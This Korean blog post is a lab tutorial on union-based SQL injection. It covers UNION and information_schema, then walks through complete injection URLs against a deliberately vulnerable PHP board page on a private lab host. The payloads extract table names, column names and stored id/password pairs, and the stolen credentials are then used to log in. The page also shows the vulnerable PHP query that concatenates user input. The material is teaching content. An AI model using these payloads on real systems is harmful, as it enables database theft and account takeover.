본문 바로가기

웹 보안

Non-Blind SQL injection

반응형

지난 시간에 SQL injection을 실습해 보고 종류에 대해 알아봤어
오늘은 SQL injection 과정을 살펴보려고 해
injection을 실행하는데 있어서 필요한 명령어인 union에 대해 알아보고
MYSQL 안에 database 구조와 table이 어떻게 이루어졌는지와 이를 이용한 침투 방법을 보여줄게!


Union 명령

union 명령어는 field column에 외부 table 값을 넣을 수 있도록 해주는 database 명령어야
좀 더 정확히 말하자면 밑에 사진을 보면서 이야기해 볼게


market이라는 table에는 현재 총 4개의 column을 갖고 있고 staff라는 table에는 총 3개의 column을 갖고 있어
union 명령을 통해서 market table안에 staff table이 가지고 있는 field 값들을 넣어서 합쳐볼게
select * from market union select * from staff;

그러면 다음과 같이 error 문구가 뜨는 것을 볼 수 있어


error 문구를 보면 선택한 table에 대해 column의 수가 서로 다르다는 것을 볼 수 있어
그렇다면 두 table의 column 수를 동일하게 맞춘다면 결과가 나오지 않을까?
market table의 column을 무작위로 3개 선택하고 staff에 있는 column을 모두 선택해서 union으로 묶어볼게


error가 발생하지 않고 다음과 같이 market table의 column에 맞춰서 staff에 있던 field값이 합쳐서 결과가 나왔어
따라서 union 뒤에 select문에서 column을 지정할 때
column 개수만 맞춘다면 1이라는 column을 무작위로 만들어  sword와 market을 union 실행을 하게 되면 data를 추출할 수 있게 돼!


그렇다면 이러한 union 명령어의 특성을 갖고 injection을 진행해 보도록 할게
injection에 취약한 게시판 page를 만들었고 밑의 code는 게시판에 대한 php code야


$dbq="select * from b_tb where b_no='$b_no' ";
밑줄 친 code는 바로 "dbq"라는 인수를 통해서 select 문에 대한 결과를 저장하는 code야
/board_view.php 파일에 해당 db query문을 전송하는 명령어로 다음과 같이 union 명령을 내리면......

union select 1,1,1,1,1, from class--+


다음과 같은 결과가 나온 것을 확인할 수 있어
이 뜻은 현재 board_view.php page가 연동하고 있는 database의 table에 column 값이 5개라는 것을 유추할 수 있지!
여기서부터 table의 이름과 column을 하나씩 유추해 나가는 공격을 해나가는 거야..!
그렇다면 공격 과정을 하나씩 수행해 볼까?

information_schema & Database architecture

위의 과정을 통해서 현재 column의 개수가 5개임을 알아냈기 때문에 column의 수만 맞춰서 union을 실행한다면
현재 database의 대한 정보들을 알아낼 수 있어!
database의 정보를 알아내기 위해선 database() 명령과 information_schema를 활용해야 돼!
먼저 database 구조를 살펴볼까?


MYSQL database를 보면 기본적으로 설정되어 있는 database가 있는데 바로 "information_schema"야
information_schema는 database 전체의 meta data를 가진 database로 다음과 같은 table을 가지고 있어



information_schema database 안에 주요 table을 보면
다음과 같은 table 정보들을 확인할 수 있어

tables = database 전체의 table 내용
table_name = mysql 안에 존재하는 table의 이름
table_schema = mysql 안에 존재하는 database 이름

desc 명령은 describe의 약자로 table의 구조를 확인할 때 사용하는 명령어야


TABLES라는 table에 database에 있는
모든 table과 column 정보들을 알 수 있을 뿐만 아니라
COLUMNS라는 table을 통해서 database에 있는
모든 column 정보들도 알 수 있어
밑에 사진을 한번 볼까?


여기에도 TABLE_NAME이라는 column이 포함되어 있는 것을 볼 수 있어
그렇다면 COLUMNS table을 사용해서
특정 table의 column 내용들을 한 번 확인해 보자

select COLUMN_NAME from COLUMNS where TABLE_NAME="b_tb";
table 이름이 b_tb인 table의 column 들을 확인해 보는 명령어야


b_tb라는 table의 column이 다음과 같이 5개가 존재한다는 것을 알 수 있어!
우리가 위의 작업들을 통해 알 수 있는 것은 information_schema database를 활용한다면
얼마든지 database 안에 있는 table과 column 정보, 심지어는 해당 data까지도 확인할 수 있다는 것을 알 수 있어
또한 database 구조가 밑에 쓴 것과 같이 구조화되어 있다는 것도 추론할 수 있지!

위의 과정들을 통해 다음과 같은 DB 구조를 정리해 봤어
[Architecture]
information_schema (database) >> TABLES (table) >> TABLE_NAME (column) >> data


Union SQL injection


위에서 database의 구조를 한 번 알아봤다면
배운 내용들을 가지고 injection 공격을 수행해 볼게
앞에서 우리가 board_view.php 웹 페이지에서
연동된 table의 column 수가 5개라는 것을 알아냈으니
union을 이용해서 database 이름과 table 이름들을 알아내볼게

192.168.10.180/board_view.phpb_no=0
'union select database(), table_name, table_schema,1,1 from information_schema.tables
where table_schema='sevas' limit 0,1 --+

이에 대한 결과는 다음과 같아



mysql에서도 다음과 같이 동작하는지 확인해 볼까?

table_schema 이름을 sevas라고 갖고 있는 information_schema.tables data들 중에서
현재 사용하고 있는 database의 이름을 알아내고
table_name column을 통해 현재 사용하는 column( sevas database 안에 있는 table)을 찾아냈어

[현재 확인된 정보]
db = sevas
table = b_tb

이제 다음은 COLUMNS라는 table을 사용해서 column 내용들까지 찾아볼게


192.168.10.180/board_view.phpb_no=0
'union select table_name, column_name,1,1,1 from information_schema.columns
where table_schema='sevas' limit 0,1 --+


limit 0,1 option을 붙여서 결과에 대한
첫 번째 column의 data만을 추출해 보도록 했어
위의 sql문을 해석하자면
"information_schema database에 columns라는 table 안에 database의 모든 column을 확인할 텐데
database가 sevas인 table에서
table_name과 column_name의 값을 추출해라"
라는 뜻이야

이렇게 limit의 수를 하나씩 늘려서 한 줄씩 data를 추출하면
6번째, 7번째 column에서 다음과 같은 data를 확인할 수 있게 돼

 


id와 password column을 담고 있는 table이 있다는 것을 알 수 있어!
더불어, 해당 data의 table 이름이 class라는 것까지 알 수 있게 돼
거의 다 왔어! 여기서 id, pw column에 대한 data 만을 알 수 있다면 injection은 성공하게 돼
table 이름을 알았고 해당 table의 column까지 알아냈으니 data를 추출하는 건 어렵지 않지?


http://192.168.10.180/board_view.php?b_no=0 'union select id, pw,1,1,1 from class limit 0,1--+
limit 값을 1씩 증가시켜서 비밀번호를 찾아보면...!
http://192.168.10.180/board_view.php?b_no=0 'union select id, pw,1,1,1 from class limit 4,1--+


id = master, pw = asd123이라는 user의 정보를 확인할 수 있게 돼!
그렇다면 해당 정보를 복사해서 로그인을 시도해 볼게

 


로그인이 성공된 것을 알 수 있어!
mysql 안에 information_schema라는 database 안에 모든 정보를 담고 있는 database와 union 명령의 특성을 활용하여 SQL injection을 수행해 봤어

 

오늘 해본 SQL 공격은 바로 Non-blind SQL injection으로 sql query문을 직접적으로 확인해가면서

반환해주는 값에 따라 data를 추출해나가는 방식을 말해!

그 중 대표적으로 사용하는 문법인 union을 가지고 injection을 수행해본거야 

다음 시간에는 Blind SQL injection은 어떻게 수행하는지와 그 종류들을 한 번 직접 실습해보도록 할게~!

 

 

반응형

'웹 보안' 카테고리의 다른 글

HTTP method status code  (0) 2023.11.08
Blind SQL injection  (0) 2023.02.06
SQL injection  (0) 2022.11.22
XSS 공격  (1) 2022.11.22
Web Hacking  (0) 2022.11.22